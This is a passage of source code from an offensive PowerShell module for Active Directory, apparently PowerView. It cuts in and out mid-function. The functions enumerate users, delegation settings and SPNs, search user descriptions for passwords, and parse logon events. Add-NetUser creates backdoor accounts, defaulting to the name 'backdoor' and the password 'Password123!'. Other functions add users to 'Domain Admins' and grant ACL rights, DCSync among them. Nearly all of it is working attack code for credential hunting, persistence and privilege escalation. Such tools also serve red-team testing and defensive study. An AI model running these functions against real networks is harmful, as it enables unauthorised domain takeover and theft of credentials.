[System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)\n        }\n        catch {\n            Write-Verbose \"The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust.\"\n            return $Null\n        }\n    }\n    else {\n        # otherwise use the current forest\n        $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()\n    }\n\n    if($ForestObject) {\n        # get the SID of the forest root\n        $ForestSid = (New-Object System.Security.Principal.NTAccount($ForestObject.RootDomain,\"krbtgt\")).Translate([System.Security.Principal.SecurityIdentifier]).Value\n        $Parts = $ForestSid -Split \"-\"\n        $ForestSid = $Parts[0..$($Parts.length-2)] -join \"-\"\n        $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid\n        $ForestObject\n    }\n}\n\n\nfilter Get-NetForestDomain {\n<#\n    .SYNOPSIS\n\n        Return all domains for a given forest.\n\n    .PARAMETER Forest\n\n        The forest name to query domain for.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object of alternate credentials\n        for connection to the target domain.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetForestDomain\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetForestDomain -Forest external.local\n#>\n\n    param(\n        [Parameter(ValueFromPipeline=$True)]\n        [String]\n        $Forest,\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    $ForestObject = Get-NetForest -Forest $Forest -Credential $Credential\n\n    if($ForestObject) {\n        $ForestObject.Domains\n    }\n}\n\n\nfilter Get-NetForestCatalog {\n<#\n    .SYNOPSIS\n\n        Return all global catalogs for a given forest.\n\n    .PARAMETER Forest\n\n        The forest name to query domain for.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object of alternate credentials\n        for connection to the target domain.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetForestCatalog\n#>\n    \n    param(\n        [Parameter(ValueFromPipeline=$True)]\n        [String]\n        $Forest,\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    $ForestObject = Get-NetForest -Forest $Forest -Credential $Credential\n\n    if($ForestObject) {\n        $ForestObject.FindAllGlobalCatalogs()\n    }\n}\n\n\nfilter Get-NetDomainController {\n<#\n    .SYNOPSIS\n\n        Return the current domain controllers for the active domain.\n\n    .PARAMETER Domain\n\n        The domain to query for domain controllers, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER LDAP\n\n        Switch. Use LDAP queries to determine the domain controllers.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object of alternate credentials\n        for connection to the target domain.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetDomainController -Domain 'test.local'\n        \n        Determine the domain controllers for 'test.local'.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetDomainController -Domain 'test.local' -LDAP\n\n        Determine the domain controllers for 'test.local' using LDAP queries.\n\n    .EXAMPLE\n\n        PS C:\\> 'test.local' | Get-NetDomainController\n\n        Determine the domain controllers for 'test.local'.\n#>\n\n    [CmdletBinding()]\n    param(\n        [Parameter(ValueFromPipeline=$True)]\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [Switch]\n        $LDAP,\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    if($LDAP -or $DomainController) {\n        # filter string to return all domain controllers\n        Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)'\n    }\n    else {\n        $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential\n        if($FoundDomain) {\n            $Founddomain.DomainControllers\n        }\n    }\n}\n\n\n########################################################\n#\n# \"net *\" replacements and other fun start below\n#\n########################################################\n\nfunction Get-NetUser {\n<#\n    .SYNOPSIS\n\n        Query information for a given user or users in the domain\n        using ADSI and LDAP. Another -Domain can be specified to\n        query for users across a trust.\n        Replacement for \"net users /domain\"\n\n    .PARAMETER UserName\n\n        Username filter string, wildcards accepted.\n\n    .PARAMETER Domain\n\n        The domain to query for users, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER ADSpath\n\n        The LDAP source to search through, e.g. \"LDAP://OU=secret,DC=testlab,DC=local\"\n        Useful for OU queries.\n\n    .PARAMETER Filter\n\n        A customized ldap filter string to use, e.g. \"(description=*admin*)\"\n\n    .PARAMETER AdminCount\n\n        Switch. Return users with adminCount=1.\n\n    .PARAMETER SPN\n\n        Switch. Only return user objects with non-null service principal names.\n\n    .PARAMETER Unconstrained\n\n        Switch. Return users that have unconstrained delegation.\n\n    .PARAMETER AllowDelegation\n\n        Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation'\n\n    .PARAMETER PageSize\n\n        The PageSize to set for the LDAP searcher object.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object of alternate credentials\n        for connection to the target domain.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetUser -Domain testing\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetUser -ADSpath \"LDAP://OU=secret,DC=testlab,DC=local\"\n#>\n\n    param(\n        [Parameter(Position=0, ValueFromPipeline=$True)]\n        [String]\n        $UserName,\n\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [String]\n        $ADSpath,\n\n        [String]\n        $Filter,\n\n        [Switch]\n        $SPN,\n\n        [Switch]\n        $AdminCount,\n\n        [Switch]\n        $Unconstrained,\n\n        [Switch]\n        $AllowDelegation,\n\n        [ValidateRange(1,10000)] \n        [Int]\n        $PageSize = 200,\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    begin {\n        # so this isn't repeated if users are passed on the pipeline\n        $UserSearcher = Get-DomainSearcher -Domain $Domain -ADSpath $ADSpath -DomainController $DomainController -PageSize $PageSize -Credential $Credential\n    }\n\n    process {\n        if($UserSearcher) {\n\n            # if we're checking for unconstrained delegation\n            if($Unconstrained) {\n                Write-Verbose \"Checking for unconstrained delegation\"\n                $Filter += \"(userAccountControl:1.2.840.113556.1.4.803:=524288)\"\n            }\n            if($AllowDelegation) {\n                Write-Verbose \"Checking for users who can be delegated\"\n                # negation of \"Accounts that are sensitive and not trusted for delegation\"\n                $Filter += \"(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))\"\n            }\n            if($AdminCount) {\n                Write-Verbose \"Checking for adminCount=1\"\n                $Filter += \"(admincount=1)\"\n            }\n\n            # check if we're using a username filter or not\n            if($UserName) {\n                # samAccountType=805306368 indicates user objects\n                $UserSearcher.filter=\"(&(samAccountType=805306368)(samAccountName=$UserName)$Filter)\"\n            }\n            elseif($SPN) {\n                $UserSearcher.filter=\"(&(samAccountType=805306368)(servicePrincipalName=*)$Filter)\"\n            }\n            else {\n                # filter is something like \"(samAccountName=*blah*)\" if specified\n                $UserSearcher.filter=\"(&(samAccountType=805306368)$Filter)\"\n            }\n\n            $Results = $UserSearcher.FindAll()\n            $Results | Where-Object {$_} | ForEach-Object {\n                # convert/process the LDAP fields for each result\n                $User = Convert-LDAPProperty -Properties $_.Properties\n                $User.PSObject.TypeNames.Add('PowerView.User')\n                $User\n            }\n            $Results.dispose()\n            $UserSearcher.dispose()\n        }\n    }\n}\n\n\nfunction Add-NetUser {\n<#\n    .SYNOPSIS\n\n        Adds a domain user or a local user to the current (or remote) machine,\n        if permissions allow, utilizing the WinNT service provider and\n        DirectoryServices.AccountManagement, respectively.\n        \n        The default behavior is to add a user to the local machine.\n        An optional group name to add the user to can be specified.\n\n    .PARAMETER UserName\n\n        The username to add. If not given, it defaults to 'backdoor'\n\n    .PARAMETER Password\n\n        The password to set for the added user. If not given, it defaults to 'Password123!'\n\n    .PARAMETER GroupName\n\n        Group to optionally add the user to.\n\n    .PARAMETER ComputerName\n\n        Hostname to add the local user to, defaults to 'localhost'\n\n    .PARAMETER Domain\n\n        Specified domain to add the user to.\n\n    .EXAMPLE\n\n        PS C:\\> Add-NetUser -UserName john -Password 'Password123!'\n        \n        Adds a localuser 'john' to the local machine with password of 'Password123!'\n\n    .EXAMPLE\n\n        PS C:\\> Add-NetUser -UserName john -Password 'Password123!' -ComputerName server.testlab.local\n        \n        Adds a localuser 'john' with password of 'Password123!' to server.testlab.local's local Administrators group.\n\n    .EXAMPLE\n\n        PS C:\\> Add-NetUser -UserName john -Password password -GroupName \"Domain Admins\" -Domain ''\n        \n        Adds the user \"john\" with password \"password\" to the current domain and adds\n        the user to the domain group \"Domain Admins\"\n\n    .EXAMPLE\n\n        PS C:\\> Add-NetUser -UserName john -Password password -GroupName \"Domain Admins\" -Domain 'testing'\n        \n        Adds the user \"john\" with password \"password\" to the 'testing' domain and adds\n        the user to the domain group \"Domain Admins\"\n\n    .Link\n\n        http://blogs.technet.com/b/heyscriptingguy/archive/2010/11/23/use-powershell-to-create-local-user-accounts.aspx\n#>\n\n    [CmdletBinding()]\n    Param (\n        [ValidateNotNullOrEmpty()]\n        [String]\n        $UserName = 'backdoor',\n\n        [ValidateNotNullOrEmpty()]\n        [String]\n        $Password = 'Password123!',\n\n        [ValidateNotNullOrEmpty()]\n        [String]\n        $GroupName,\n\n        [ValidateNotNullOrEmpty()]\n        [Alias('HostName')]\n        [String]\n        $ComputerName = 'localhost',\n\n        [ValidateNotNullOrEmpty()]\n        [String]\n        $Domain\n    )\n\n    if ($Domain) {\n\n        $DomainObject = Get-NetDomain -Domain $Domain\n        if(-not $DomainObject) {\n            Write-Warning \"Error in grabbing $Domain object\"\n            return $Null\n        }\n\n        # add the assembly we need\n        Add-Type -AssemblyName System.DirectoryServices.AccountManagement\n\n        # http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/\n        # get the domain context\n        $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain), $DomainObject\n\n        # create the user object\n        $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList $Context\n\n        # set user properties\n        $User.Name = $UserName\n        $User.SamAccountName = $UserName\n        $User.PasswordNotRequired = $False\n        $User.SetPassword($Password)\n        $User.Enabled = $True\n\n        Write-Verbose \"Creating user $UserName to with password '$Password' in domain $Domain\"\n\n        try {\n            # commit the user\n            $User.Save()\n            \"[*] User $UserName successfully created in domain $Domain\"\n        }\n        catch {\n            Write-Warning '[!] User already exists!'\n            return\n        }\n    }\n    else {\n        \n        Write-Verbose \"Creating user $UserName to with password '$Password' on $ComputerName\"\n\n        # if it's not a domain add, it's a local machine add\n        $ObjOu = [ADSI]\"WinNT://$ComputerName\"\n        $ObjUser = $ObjOu.Create('User', $UserName)\n        $ObjUser.SetPassword($Password)\n\n        # commit the changes to the local machine\n        try {\n            $Null = $ObjUser.SetInfo()\n            \"[*] User $UserName successfully created on host $ComputerName\"\n        }\n        catch {\n            Write-Warning '[!] Account already exists!'\n            return\n        }\n    }\n\n    # if a group is specified, invoke Add-NetGroupUser and return its value\n    if ($GroupName) {\n        # if we're adding the user to a domain\n        if ($Domain) {\n            Add-NetGroupUser -UserName $UserName -GroupName $GroupName -Domain $Domain\n            \"[*] User $UserName successfully added to group $GroupName in domain $Domain\"\n        }\n        # otherwise, we're adding to a local group\n        else {\n            Add-NetGroupUser -UserName $UserName -GroupName $GroupName -ComputerName $ComputerName\n            \"[*] User $UserName successfully added to group $GroupName on host $ComputerName\"\n        }\n    }\n}\n\n\nfunction Add-NetGroupUser {\n<#\n    .SYNOPSIS\n\n        Adds a user to a domain group or a local group on the current (or remote) machine,\n        if permissions allow, utilizing the WinNT service provider and\n        DirectoryServices.AccountManagement, respectively.\n\n    .PARAMETER UserName\n\n        The domain username to query for.\n\n    .PARAMETER GroupName\n\n        Group to add the user to.\n\n    .PARAMETER ComputerName\n\n        Hostname to add the user to, defaults to localhost.\n\n    .PARAMETER Domain\n\n        Domain to add the user to.\n\n    .EXAMPLE\n\n        PS C:\\> Add-NetGroupUser -UserName john -GroupName Administrators\n        \n        Adds a localuser \"john\" to the local group \"Administrators\"\n\n    .EXAMPLE\n\n        PS C:\\> Add-NetGroupUser -UserName john -GroupName \"Domain Admins\" -Domain dev.local\n        \n        Adds the existing user \"john\" to the domain group \"Domain Admins\" in \"dev.local\"\n#>\n\n    [CmdletBinding()]\n    param(\n        [Parameter(Mandatory = $True)]\n        [ValidateNotNullOrEmpty()]\n        [String]\n        $UserName,\n\n        [Parameter(Mandatory = $True)]\n        [ValidateNotNullOrEmpty()]\n        [String]\n        $GroupName,\n\n        [ValidateNotNullOrEmpty()]\n        [Alias('HostName')]\n        [String]\n        $ComputerName,\n\n        [String]\n        $Domain\n    )\n\n    # add the assembly if we need it\n    Add-Type -AssemblyName System.DirectoryServices.AccountManagement\n\n    # if we're adding to a remote host's local group, use the WinNT provider\n    if($ComputerName -and ($ComputerName -ne \"localhost\")) {\n        try {\n            Write-Verbose \"Adding user $UserName to $GroupName on host $ComputerName\"\n            ([ADSI]\"WinNT://$ComputerName/$GroupName,group\").add(\"WinNT://$ComputerName/$UserName,user\")\n            \"[*] User $UserName successfully added to group $GroupName on $ComputerName\"\n        }\n        catch {\n            Write-Warning \"[!] Error adding user $UserName to group $GroupName on $ComputerName\"\n            return\n        }\n    }\n\n    # otherwise it's a local machine or domain add\n    else {\n        try {\n            if ($Domain) {\n                Write-Verbose \"Adding user $UserName to $GroupName on domain $Domain\"\n                $CT = [System.DirectoryServices.AccountManagement.ContextType]::Domain\n                $DomainObject = Get-NetDomain -Domain $Domain\n                if(-not $DomainObject) {\n                    return $Null\n                }\n                # get the full principal context\n                $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList $CT, $DomainObject            \n            }\n            else {\n                # otherwise, get the local machine context\n                Write-Verbose \"Adding user $UserName to $GroupName on localhost\"\n                $Context = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine, $Env:ComputerName)\n            }\n\n            # find the particular group\n            $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($Context,$GroupName)\n\n            # add the particular user to the group\n            $Group.Members.add($Context, [System.DirectoryServices.AccountManagement.IdentityType]::SamAccountName, $UserName)\n\n            # commit the changes\n            $Group.Save()\n        }\n        catch {\n            Write-Warning \"Error adding $UserName to $GroupName : $_\"\n        }\n    }\n}\n\n\nfunction Get-UserProperty {\n<#\n    .SYNOPSIS\n\n        Returns a list of all user object properties. If a property\n        name is specified, it returns all [user:property] values.\n\n        Taken directly from @obscuresec's post:\n            http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html\n\n    .PARAMETER Properties\n\n        Property names to extract for users.\n\n    .PARAMETER Domain\n\n        The domain to query for user properties, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER PageSize\n\n        The PageSize to set for the LDAP searcher object.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object of alternate credentials\n        for connection to the target domain.\n\n    .EXAMPLE\n\n        PS C:\\> Get-UserProperty -Domain testing\n        \n        Returns all user properties for users in the 'testing' domain.\n\n    .EXAMPLE\n\n        PS C:\\> Get-UserProperty -Properties ssn,lastlogon,location\n        \n        Returns all an array of user/ssn/lastlogin/location combinations\n        for users in the current domain.\n\n    .LINK\n\n        http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html\n#>\n\n    [CmdletBinding()]\n    param(\n        [String[]]\n        $Properties,\n\n        [String]\n        $Domain,\n        \n        [String]\n        $DomainController,\n\n        [ValidateRange(1,10000)] \n        [Int]\n        $PageSize = 200,\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    if($Properties) {\n        # extract out the set of all properties for each object\n        $Properties = ,\"name\" + $Properties\n        Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -Property $Properties\n    }\n    else {\n        # extract out just the property names\n        Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -First 1 | Get-Member -MemberType *Property | Select-Object -Property 'Name'\n    }\n}\n\n\nfilter Find-UserField {\n<#\n    .SYNOPSIS\n\n        Searches user object fields for a given word (default *pass*). Default\n        field being searched is 'description'.\n\n        Taken directly from @obscuresec's post:\n            http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html\n\n    .PARAMETER SearchTerm\n\n        Term to search for, default of \"pass\".\n\n    .PARAMETER SearchField\n\n        User field to search, default of \"description\".\n\n    .PARAMETER ADSpath\n\n        The LDAP source to search through, e.g. \"LDAP://OU=secret,DC=testlab,DC=local\"\n        Useful for OU queries.\n\n    .PARAMETER Domain\n\n        Domain to search computer fields for, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER PageSize\n\n        The PageSize to set for the LDAP searcher object.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object of alternate credentials\n        for connection to the target domain.\n\n    .EXAMPLE\n\n        PS C:\\> Find-UserField -SearchField info -SearchTerm backup\n\n        Find user accounts with \"backup\" in the \"info\" field.\n#>\n\n    [CmdletBinding()]\n    param(\n        [Parameter(Position=0,ValueFromPipeline=$True)]\n        [String]\n        $SearchTerm = 'pass',\n\n        [String]\n        $SearchField = 'description',\n\n        [String]\n        $ADSpath,\n\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [ValidateRange(1,10000)] \n        [Int]\n        $PageSize = 200,\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n \n    Get-NetUser -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter \"($SearchField=*$SearchTerm*)\" -PageSize $PageSize | Select-Object samaccountname,$SearchField\n}\n\n\nfilter Get-UserEvent {\n<#\n    .SYNOPSIS\n\n        Dump and parse security events relating to an account logon (ID 4624)\n        or a TGT request event (ID 4768). Intended to be used and tested on\n        Windows 2008 Domain Controllers.\n        Admin Reqd? YES\n\n        Author: @sixdub\n\n    .PARAMETER ComputerName\n\n        The computer to get events from. Default: Localhost\n\n    .PARAMETER EventType\n\n        Either 'logon', 'tgt', or 'all'. Defaults: 'logon'\n\n    .PARAMETER DateStart\n\n        Filter out all events before this date. Default: 5 days\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object of alternate credentials\n        for connection to the target domain.\n\n    .EXAMPLE\n\n        PS C:\\> Get-UserEvent -ComputerName DomainController.testlab.local\n\n    .LINK\n\n        http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/\n#>\n\n    Param(\n        [Parameter(ValueFromPipeline=$True)]\n        [String]\n        $ComputerName = $Env:ComputerName,\n\n        [String]\n        [ValidateSet(\"logon\",\"tgt\",\"all\")]\n        $EventType = \"logon\",\n\n        [DateTime]\n        $DateStart = [DateTime]::Today.AddDays(-5),\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    if($EventType.ToLower() -like \"logon\") {\n        [Int32[]]$ID = @(4624)\n    }\n    elseif($EventType.ToLower() -like \"tgt\") {\n        [Int32[]]$ID = @(4768)\n    }\n    else {\n        [Int32[]]$ID = @(4624, 4768)\n    }\n\n    if($Credential) {\n        Write-Verbose \"Using alternative credentials\"\n        $Arguments = @{\n            'ComputerName' = $ComputerName;\n            'Credential' = $Credential;\n            'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart};\n            'ErrorAction' = 'SilentlyContinue';\n        }\n    }\n    else {\n        $Arguments = @{\n            'ComputerName' = $ComputerName;\n            'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart};\n            'ErrorAction' = 'SilentlyContinue';            \n        }\n    }\n\n    # grab all events matching our filter for the specified host\n    Get-WinEvent @Arguments | ForEach-Object {\n\n        if($ID -contains 4624) {    \n            # first parse and check the logon event type. This could be later adapted and tested for RDP logons (type 10)\n            if($_.message -match '(?s)(?<=Logon Type:).*?(?=(Impersonation Level:|New Logon:))') {\n                if($Matches) {\n                    $LogonType = $Matches[0].trim()\n                    $Matches = $Null\n                }\n            }\n            else {\n                $LogonType = \"\"\n            }\n\n            # interactive logons or domain logons\n            if (($LogonType -eq 2) -or ($LogonType -eq 3)) {\n                try {\n                    # parse and store the account used and the address they came from\n                    if($_.message -match '(?s)(?<=New Logon:).*?(?=Process Information:)') {\n                        if($Matches) {\n                            $UserName = $Matches[0].split(\"`n\")[2].split(\":\")[1].trim()\n                            $Domain = $Matches[0].split(\"`n\")[3].split(\":\")[1].trim()\n                            $Matches = $Null\n                        }\n                    }\n                    if($_.message -match '(?s)(?<=Network Information:).*?(?=Source Port:)') {\n                        if($Matches) {\n                            $Address = $Matches[0].split(\"`n\")[2].split(\":\")[1].trim()\n                            $Matches = $Null\n                        }\n                    }\n\n                    # only add if there was account information not for a machine or anonymous logon\n                    if ($UserName -and (-not $UserName.endsWith('$')) -and ($UserName -ne 'ANONYMOUS LOGON')) {\n                        $LogonEventProperties = @{\n                            'Domain' = $Domain\n                            'ComputerName' = $ComputerName\n                            'Username' = $UserName\n                            'Address' = $Address\n                            'ID' = '4624'\n                            'LogonType' = $LogonType\n                            'Time' = $_.TimeCreated\n                        }\n                        New-Object -TypeName PSObject -Property $LogonEventProperties\n                    }\n                }\n                catch {\n                    Write-Verbose \"Error parsing event logs: $_\"\n                }\n            }\n        }\n        if($ID -contains 4768) {\n            # the TGT event type\n            try {\n                if($_.message -match '(?s)(?<=Account Information:).*?(?=Service Information:)') {\n                    if($Matches) {\n                        $Username = $Matches[0].split(\"`n\")[1].split(\":\")[1].trim()\n                        $Domain = $Matches[0].split(\"`n\")[2].split(\":\")[1].trim()\n                        $Matches = $Null\n                    }\n                }\n\n                if($_.message -match '(?s)(?<=Network Information:).*?(?=Additional Information:)') {\n                    if($Matches) {\n                        $Address = $Matches[0].split(\"`n\")[1].split(\":\")[-1].trim()\n                        $Matches = $Null\n                    }\n                }\n\n                $LogonEventProperties = @{\n                    'Domain' = $Domain\n                    'ComputerName' = $ComputerName\n                    'Username' = $UserName\n                    'Address' = $Address\n                    'ID' = '4768'\n                    'LogonType' = ''\n                    'Time' = $_.TimeCreated\n                }\n\n                New-Object -TypeName PSObject -Property $LogonEventProperties\n            }\n            catch {\n                Write-Verbose \"Error parsing event logs: $_\"\n            }\n        }\n    }\n}\n\n\nfunction Get-ObjectAcl {\n<#\n    .SYNOPSIS\n        Returns the ACLs associated with a specific active directory object.\n\n        Thanks Sean Metcalf (@pyrotek3) for the idea and guidance.\n\n    .PARAMETER SamAccountName\n\n        Object name to filter for.        \n\n    .PARAMETER Name\n\n        Object name to filter for.\n\n    .PARAMETER DistinguishedName\n\n        Object distinguished name to filter for.\n\n    .PARAMETER ResolveGUIDs\n\n        Switch. Resolve GUIDs to their display names.\n\n    .PARAMETER Filter\n\n        A customized ldap filter string to use, e.g. \"(description=*admin*)\"\n     \n    .PARAMETER ADSpath\n\n        The LDAP source to search through, e.g. \"LDAP://OU=secret,DC=testlab,DC=local\"\n        Useful for OU queries.\n\n    .PARAMETER ADSprefix\n\n        Prefix to set for the searcher (like \"CN=Sites,CN=Configuration\")\n\n    .PARAMETER RightsFilter\n\n        Only return results with the associated rights, \"All\", \"ResetPassword\",\"WriteMembers\"\n\n    .PARAMETER Domain\n\n        The domain to use for the query, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER PageSize\n\n        The PageSize to set for the LDAP searcher object.\n\n    .EXAMPLE\n\n        PS C:\\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local\n        \n        Get the ACLs for the matt.admin user in the testlab.local domain\n\n    .EXAMPLE\n\n        PS C:\\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local -ResolveGUIDs\n        \n        Get the ACLs for the matt.admin user in the testlab.local domain and\n        resolve relevant GUIDs to their display names.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetOU -FullData | Get-ObjectAcl -ResolveGUIDs\n\n        Enumerate the ACL permissions for all OUs in the domain.\n#>\n\n    [CmdletBinding()]\n    Param (\n        [Parameter(ValueFromPipelineByPropertyName=$True)]\n        [String]\n        $SamAccountName,\n\n        [Parameter(ValueFromPipelineByPropertyName=$True)]\n        [String]\n        $Name = \"*\",\n\n        [Parameter(ValueFromPipelineByPropertyName=$True)]\n        [String]\n        $DistinguishedName = \"*\",\n\n        [Switch]\n        $ResolveGUIDs,\n\n        [String]\n        $Filter,\n\n        [String]\n        $ADSpath,\n\n        [String]\n        $ADSprefix,\n\n        [String]\n        [ValidateSet(\"All\",\"ResetPassword\",\"WriteMembers\")]\n        $RightsFilter,\n\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [ValidateRange(1,10000)] \n        [Int]\n        $PageSize = 200\n    )\n\n    begin {\n        $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix $ADSprefix -PageSize $PageSize \n\n        # get a GUID -> name mapping\n        if($ResolveGUIDs) {\n            $GUIDs = Get-GUIDMap -Domain $Domain -DomainController $DomainController -PageSize $PageSize\n        }\n    }\n\n    process {\n\n        if ($Searcher) {\n\n            if($SamAccountName) {\n                $Searcher.filter=\"(&(samaccountname=$SamAccountName)(name=$Name)(distinguishedname=$DistinguishedName)$Filter)\"  \n            }\n            else {\n                $Searcher.filter=\"(&(name=$Name)(distinguishedname=$DistinguishedName)$Filter)\"  \n            }\n  \n            try {\n                $Results = $Searcher.FindAll()\n                $Results | Where-Object {$_} | ForEach-Object {\n                    $Object = [adsi]($_.path)\n\n                    if($Object.distinguishedname) {\n                        $Access = $Object.PsBase.ObjectSecurity.access\n                        $Access | ForEach-Object {\n                            $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0]\n\n                            if($Object.objectsid[0]){\n                                $S = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value\n                            }\n                            else {\n                                $S = $Null\n                            }\n                            \n                            $_ | Add-Member NoteProperty 'ObjectSID' $S\n                            $_\n                        }\n                    }\n                } | ForEach-Object {\n                    if($RightsFilter) {\n                        $GuidFilter = Switch ($RightsFilter) {\n                            \"ResetPassword\" { \"00299570-246d-11d0-a768-00aa006e0529\" }\n                            \"WriteMembers\" { \"bf9679c0-0de6-11d0-a285-00aa003049e2\" }\n                            Default { \"00000000-0000-0000-0000-000000000000\"}\n                        }\n                        if($_.ObjectType -eq $GuidFilter) { $_ }\n                    }\n                    else {\n                        $_\n                    }\n                } | ForEach-Object {\n                    if($GUIDs) {\n                        # if we're resolving GUIDs, map them them to the resolved hash table\n                        $AclProperties = @{}\n                        $_.psobject.properties | ForEach-Object {\n                            if( ($_.Name -eq 'ObjectType') -or ($_.Name -eq 'InheritedObjectType') ) {\n                                try {\n                                    $AclProperties[$_.Name] = $GUIDS[$_.Value.toString()]\n                                }\n                                catch {\n                                    $AclProperties[$_.Name] = $_.Value\n                                }\n                            }\n                            else {\n                                $AclProperties[$_.Name] = $_.Value\n                            }\n                        }\n                        New-Object -TypeName PSObject -Property $AclProperties\n                    }\n                    else { $_ }\n                }\n                $Results.dispose()\n                $Searcher.dispose()\n            }\n            catch {\n                Write-Warning $_\n            }\n        }\n    }\n}\n\n\nfunction Add-ObjectAcl {\n<#\n    .SYNOPSIS\n\n        Adds an ACL for a specific active directory object.\n        \n        AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3)\n            https://adsecurity.org/?p=1906\n\n        ACE setting method adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects.\n\n        'ResetPassword' doesn't need to know the user's current password\n        'WriteMembers' allows for the modification of group membership\n\n    .PARAMETER TargetSamAccountName\n\n        Target object name to filter for.        \n\n    .PARAMETER TargetName\n\n        Target object name to filter for.\n\n    .PARAMETER TargetDistinguishedName\n\n        Target object distinguished name to filter for.\n\n    .PARAMETER TargetFilter\n\n        A customized ldap filter string to use to find a target, e.g. \"(description=*admin*)\"\n\n    .PARAMETER TargetADSpath\n\n        The LDAP source for the target, e.g. \"LDAP://OU=secret,DC=testlab,DC=local\"\n\n    .PARAMETER TargetADSprefix\n\n        Prefix to set for the target searcher (like \"CN=Sites,CN=Configuration\")\n\n    .PARAMETER PrincipalSID\n\n        The SID of the principal object to add for access.\n\n    .PARAMETER PrincipalName\n\n        The name of the principal object to add for access.\n\n    .PARAMETER PrincipalSamAccountName\n\n        The samAccountName of the principal object to add for access.\n\n    .PARAMETER Rights\n\n        Rights to add for the principal, \"All\",\"ResetPassword\",\"WriteMembers\",\"DCSync\"\n\n    .PARAMETER Domain\n\n        The domain to use for the target query, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER PageSize\n\n        The PageSize to set for the LDAP searcher object.\n\n    .EXAMPLE\n\n        Add-ObjectAcl -TargetSamAccountName matt -PrincipalSamAccountName john\n\n        Grants 'john' all full access rights to the 'matt' account.\n\n    .EXAMPLE\n\n        Add-ObjectAcl -TargetSamAccountName matt -PrincipalSamAccountName john -Rights ResetPassword\n\n        Grants 'john' the right to reset the password for the 'matt' account.\n\n    .LINK\n\n        https://adsecurity.org/?p=1906\n        \n        https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell\n#>\n\n    [CmdletBinding()]\n    Param (\n        [String]\n        $TargetSamAccountName,\n\n        [String]\n        $TargetName = \"*\",\n\n        [Alias('DN')]\n        